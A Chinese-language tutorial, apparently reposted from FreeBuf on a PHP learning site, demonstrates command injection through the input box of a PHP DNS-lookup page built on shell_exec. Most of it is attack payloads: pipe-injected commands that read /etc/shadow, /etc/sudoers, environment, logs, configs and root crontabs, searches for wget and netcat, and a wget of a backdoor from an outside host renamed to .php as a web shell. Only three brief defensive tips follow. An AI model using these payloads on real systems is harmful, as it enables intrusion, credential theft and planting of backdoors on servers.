网站地图    收藏   

主页 > 后端 > 网站安全 >

利用输入框进行恶意代码注入 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 现在让我们来看看下图:这是一个提供查询DNS服务的网站接口,用户可以在输入框中键入IP或主机名来进行查询。他的代码实现也并不复杂,如下:?phpif (isset($_POST[dns-lookup-php-submit-butt...

现在让我们来看看下图:
这是一个提供查询DNS服务的网站接口,用户可以在输入框中键入IP或主机名来进行查询。


他的代码实现也并不复杂,如下:
<?php
if (isset($_POST["dns-lookup-php-submit-button"])){
try{
if ($targethost_validated){
  echo shell_exec(“nslookup ” . $targethost);
  $LogHandler->writeToLog($conn, “Executed operating system command: nslookup ” .     $lTargetHostText);
}else{
  echo ‘<script>document.getElementById(“id-bad-cred-tr”).style.display=”"</script>’;
}// end if ($targethost_validated){
}catch(Exception $e){
  echo $CustomErrorHandler->FormatError($e, “Input: ” . $targethost);
}// end try
}// end if (isset($_POST))
?>
www.2cto.com

好了,现在我们试着查询一个IP 74.125.31.102



在之前的代码里,你们发现了shell_exec()函数了么?
那么现在你应该明白这个查询接口是怎么实现的了,即通过shell_exec(“nslookup ”. $targethost)来执行系统命令,非常之简单。

下面我们会开始想方设法注入恶意代码

LINUX下“&&”可以用来连接命令,“;”是命令分隔符。

现在,我们会用echo命令来进行一些尝试,而我个人更倾向于使用“|”(管道符)而不是“&&”,具体原因下面会讲到。



| echo ‘hello’我们执行上面这条命令,其实与在终端下执行nslookup | echo ‘hello’效果是一样的。




 我为什么会使用管道符“|”而不是“&&”呢?下图会给你解释。


接下来我们试图获得更多的服务器信息。因为我们之前使用了命令uname -a,我们已经能够识别系统信息,比如Linux kernel release 3.0.0-1,网络接点的主机名是projectX,操作系统是GNU/Linux等等…我们来查看这台服务器使用了哪种linux:
| cat /etc/issue
| cat /etc/*-release
| cat /etc/lsb-release
| cat /etc/redhat-release


哈,这是一个BackBox,是笔者最爱的一款linux发行版:)来看看我们在哪个目录下:
| pwd ; ls -la




为了收集更多的信息,我们需要检查服务器上运行的服务
| ps aux
| ps -ef
 
| top
 
| cat /etc/service





 

为了能进一步发现系统中的弱点,以使用一些诸如exploit等方法进行渗透测试
下面的一些命令你兴许用得上:
| cat /etc/environment
| cat /proc/self/environ<em> | cat /etc/shadow</em>
 
| cat /etc/sudoers
| cat /etc/group
 
| cat /etc/security/group
| cat /etc/security/passwd
| cat /etc/security/user
| cat /etc/security/environ
| cat /etc/security/limits
| cat /usr/lib/security/mkuser.default
 
| cat /var/log/messages
| cat var/log/mysql.log
| cat /var/log/user.log
| cat /var/www/logs/error_log
 
| cat /etc/syslog.conf
| cat /etc/chttp.conf
| cat /etc/lighttpd.conf
| cat /etc/cups/cupsd.conf
| cat /etc/inetd.conf
| cat /etc/apache2/apache2.conf
 
| cat/var/log/apache2/error.log
| cat /etc/my.conf
| cat /etc/httpd/conf/httpd.conf
| cat /opt/lampp/etc/httpd.conf
| ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
 
| cat /etc/resolv.conf
| cat /etc/sysconfig/network
| cat /etc/networks
 
| /sbin/ifconfig -a
| cat /etc/network/interfaces
 
| s -alh /var/spool/cron
| ls -al /etc/ | grep cron
| ls -al /etc/cron*
| cat /etc/cron*
| cat /etc/at.allow
| cat /etc/at.deny
| cat /etc/cron.allow
| cat /etc/cron.deny
| cat /etc/crontab
| cat /etc/anacrontab
| cat /var/spool/cron/crontabs/root

许多攻击者乐于在Linux服务器上留下后门,因此他们需要尝试哪些文件可以上传。
| find / -name wget
| find / -name nc*
| find / -name netcat*
| find / -name tftp*
| find / -name ftp我们随便wget一个txt
| wget http://freebuf.com/thanks/<em>unixhck</em>.txt

成功了







很好,既然如此,接下来我们自然是wget一个后门了
| wget http://freebuf.com/backdoor.txt重命名
| cp backdoor.txt backdoor.php

查看我们的shell

几条防止远程代码执行的TIPS:
1.禁止shell_exec()函数
2.如果你确实需要使用shell_exec()函数,建议使用escapeshellarg()和escapeshellcmd()做过滤。
3.使用WAF或mod_security等模块进行拦截过滤

摘自 FreebuF.COM

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论